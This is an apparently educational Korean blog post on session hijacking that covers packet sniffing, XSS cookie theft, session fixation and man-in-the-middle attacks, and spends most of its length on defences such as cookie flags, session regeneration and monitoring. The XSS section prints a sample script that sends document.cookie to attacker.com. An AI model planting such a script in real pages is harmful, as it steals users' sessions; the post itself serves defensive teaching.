IT Professional Engineering/SEC
Session Hijacking: 세션 정보 탈취를 통한 인증 우회 공격 기법
GilliLab IT
2025. 6. 20. 10:30
728x90
반응형
Session Hijacking: 세션 정보 탈취를 통한 인증 우회 공격 기법
개요
- 세션 하이재킹(Session Hijacking)은 웹 애플리케이션의 인증된 사용자 세션을 탈취하여 권한을 도용하는 공격 기법이다.
- 정상적인 인증 절차를 우회하여 로그인 상태의 사용자 세션을 가로채는 방식으로 동작한다.
- 웹 애플리케이션 보안에서 가장 중요한 취약점 중 하나로 분류되며, OWASP Top 10에 지속적으로 포함되고 있다.
- 공격 성공 시 피해자의 모든 권한을 획득할 수 있어 피해 규모가 광범위하다.
세션 관리의 이해
- 웹 애플리케이션은 HTTP의 비상태성(Stateless) 특성을 극복하기 위해 세션을 사용한다.
- 세션은 사용자 인증 후 서버가 클라이언트를 식별하기 위한 임시 상태 정보이다.
- 일반적인 세션 관리 프로세스:
sequenceDiagram
Client->>+Server: 로그인 요청 (ID/PW)
Server->>Server: 인증 정보 확인
Server->>Server: 세션 ID 생성
Server->>-Client: 세션 ID 전달 (쿠키)
Note over Client,Server: 이후 모든 요청에 세션 ID 포함
Client->>+Server: 요청 + 세션 ID
Server->>Server: 세션 ID 검증
Server->>-Client: 응답
- 세션 ID는 주로 쿠키(Cookie)를 통해 전달되며, 일부 애플리케이션에서는 URL 파라미터나 숨겨진 폼 필드로 전송하기도 한다.
세션 하이재킹 공격 유형
1. 네트워크 기반 세션 하이재킹
패킷 스니핑(Packet Sniffing)을 통해 네트워크 트래픽에서 세션 정보를 탈취한다.
주로 암호화되지 않은 HTTP 통신을 대상으로 한다.
공격 시나리오:
- 공격자는 공용 Wi-Fi와 같은 공유 네트워크에서 패킷 스니퍼 도구를 실행한다.
- 희생자가 웹사이트에 로그인하면 인증 후 발급받은 세션 ID가 트래픽에 포함된다.
- 공격자는 이 세션 ID를 캡처하여 자신의 브라우저에 적용한다.
- 공격자는 희생자의 세션으로 웹사이트에 접근할 수 있게 된다.
대응 방안:
- HTTPS(TLS/SSL) 사용으로 모든 통신 암호화
- 보안 플래그가 설정된 쿠키 사용
- 네트워크 트래픽 모니터링 및 이상 징후 탐지
2. 클라이언트 측 세션 하이재킹
- XSS(Cross-Site Scripting) 취약점을 이용해 사용자의 쿠키를 탈취한다.
- 악성 스크립트를 삽입하여 희생자의 브라우저에서 세션 정보를 탈취한다.
- 공격 코드 예시:
<script>
var img = new Image(); img.src = "https://attacker.com/steal.php?cookie=" +
document.cookie;
</script>
- 대응 방안:
- HttpOnly 플래그 사용으로 JavaScript를 통한 쿠키 접근 차단
- 콘텐츠 보안 정책(CSP) 구현
- 입력값 검증 및 출력 이스케이핑 처리
3. 세션 고정 공격(Session Fixation)
- 공격자가 알고 있는 세션 ID를 희생자에게 강제로 사용하도록 한다.
- 공격 시나리오:
- 공격자는 웹사이트로부터 유효한 세션 ID를 획득한다.
- 이 세션 ID를 희생자가 사용하도록 유도한다(이메일, XSS 등 이용).
- 희생자가 해당 세션 ID로 로그인하면 공격자도 같은 세션으로 접근할 수 있게 된다.
sequenceDiagram
Attacker->>+Server: 세션 ID 요청
Server->>-Attacker: 세션 ID 발급
Attacker->>Victim: 악성 링크 전송 (세션 ID 포함)
Victim->>+Server: 로그인 (강제된 세션 ID 사용)
Server->>-Victim: 인증 성공 (동일 세션 유지)
Attacker->>+Server: 동일 세션 ID로 접근
Server->>-Attacker: 인증된 세션으로 응답
- 대응 방안:
- 인증 성공 후 항상 새로운 세션 ID 발급 (세션 재생성)
- 세션 ID의 출처 및 사용 패턴 검증
- Secure 및 SameSite 쿠키 속성 사용
4. 중간자 공격(Man-in-the-Middle)
- 공격자가 클라이언트와 서버 사이의 통신을 중간에서 가로채 세션을 탈취한다.
- ARP 스푸핑, DNS 스푸핑 등의 기술을 활용한다.
- 대응 방안:
- 상호 인증(Mutual Authentication) 구현
- 인증서 핀닝(Certificate Pinning) 적용
- 통신 무결성 검증
세션 하이재킹 방어 기법
1. 세션 관리 강화
- 세션 ID 생성: 충분한 길이(128비트 이상)와 높은 엔트로피를 가진 무작위 값 사용
- 세션 타임아웃: 일정 시간 활동이 없으면 세션 만료 처리
- 세션 종료 기능: 명시적인 로그아웃 기능 제공 및 세션 데이터 완전 삭제
- 동시 세션 제한: 동일 계정의 다중 접속 제한 또는 알림 기능 구현
2. 쿠키 보안 속성 활용
- HttpOnly: JavaScript를 통한 쿠키 접근 방지
- Secure: HTTPS 연결에서만 쿠키 전송 허용
- SameSite: 크로스 사이트 요청에서 쿠키 전송 제한
- Domain 및 Path: 쿠키 적용 범위 최소화
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
3. 추가적인 보안 계층 구현
- IP 바인딩: 세션을 특정 IP 주소에 연결하여 동일 IP에서만 접근 허용
- 모바일 환경이나 NAT 환경에서는 제한적으로 적용해야 함
- 디바이스 핑거프린팅: 브라우저 정보, 화면 해상도 등 클라이언트 특성 정보 활용
- 2단계 인증(2FA): 중요 작업 수행 시 추가 인증 요구
4. 실시간 모니터링 및 탐지
- 비정상적인 세션 활동 모니터링:
- 갑작스러운 위치 변경
- 비정상적인 접근 패턴
- 동시 접속 시도
- 자동화된 응답 체계:
- 의심스러운 활동 감지 시 세션 종료
- 사용자에게 알림
- 추가 인증 요구
실제 사례 및 영향
사례 1: Facebook 계정 하이재킹 (2018)
- 공격자들은 "View As" 기능의 취약점을 이용하여 5천만 이상의 사용자 계정에 대한 액세스 토큰을 탈취했다.
- 이 공격으로 공격자들은 사용자의 Facebook 계정을 완전히 제어할 수 있었다.
- Facebook은 긴급하게 9천만 명의 사용자 세션을 강제로 종료시키는 조치를 취했다.
사례 2: Yahoo 데이터 유출 (2013-2014)
- 쿠키 위조 기술을 사용하여 사용자 인증을 우회하는 공격이 발생했다.
- 30억 개 이상의 계정 정보가 유출되었으며, 이는 역사상 가장 큰 규모의 데이터 유출 사고 중 하나로 기록되었다.
- 이 사건으로 Yahoo의 기업 가치는 3억 5천만 달러 이상 하락했다.
기업의 세션 하이재킹 대응 전략
개발 단계 보안 강화
- 보안 코딩 가이드라인 수립 및 적용
- 세션 관리 로직에 대한 코드 리뷰 강화
- 자동화된 보안 테스트 도구 활용 (SAST, DAST)
- 개발자 보안 교육 정례화
인프라 보안 강화
- 웹 애플리케이션 방화벽(WAF) 구축
- 네트워크 트래픽 암호화 (TLS 1.3 이상)
- 보안 헤더 적용 (HSTS, X-XSS-Protection 등)
- 정기적인 취약점 스캔 및 모의해킹
사고 대응 계획 수립
- 세션 하이재킹 탐지 시 대응 절차 문서화
- 비상 연락망 및 책임자 지정
- 사용자 알림 및 대응 채널 준비
- 사고 이후 분석 및 개선 프로세스 마련
결론
- 세션 하이재킹은 여전히 웹 애플리케이션의 심각한 위협으로 남아있다.
- 다양한 계층의 방어 메커니즘을 통해 위험을 완화할 수 있다.
- 지속적인 모니터링과 보안 업데이트가 필수적이다.
- 사용자 인증과 세션 관리는 웹 애플리케이션 보안의 기초로, 견고한 설계와 구현이 필요하다.
- 최신 보안 동향과 공격 기법에 대한 지속적인 학습이 요구된다.
Keywords
Session Hijacking, 세션 하이재킹, Cookies, 쿠키 보안, XSS, MITM, 중간자 공격, HttpOnly, Session Fixation, 세션 고정 공격, Authentication Bypass, 인증 우회, Secure Cookie, 웹 보안
728x90
반응형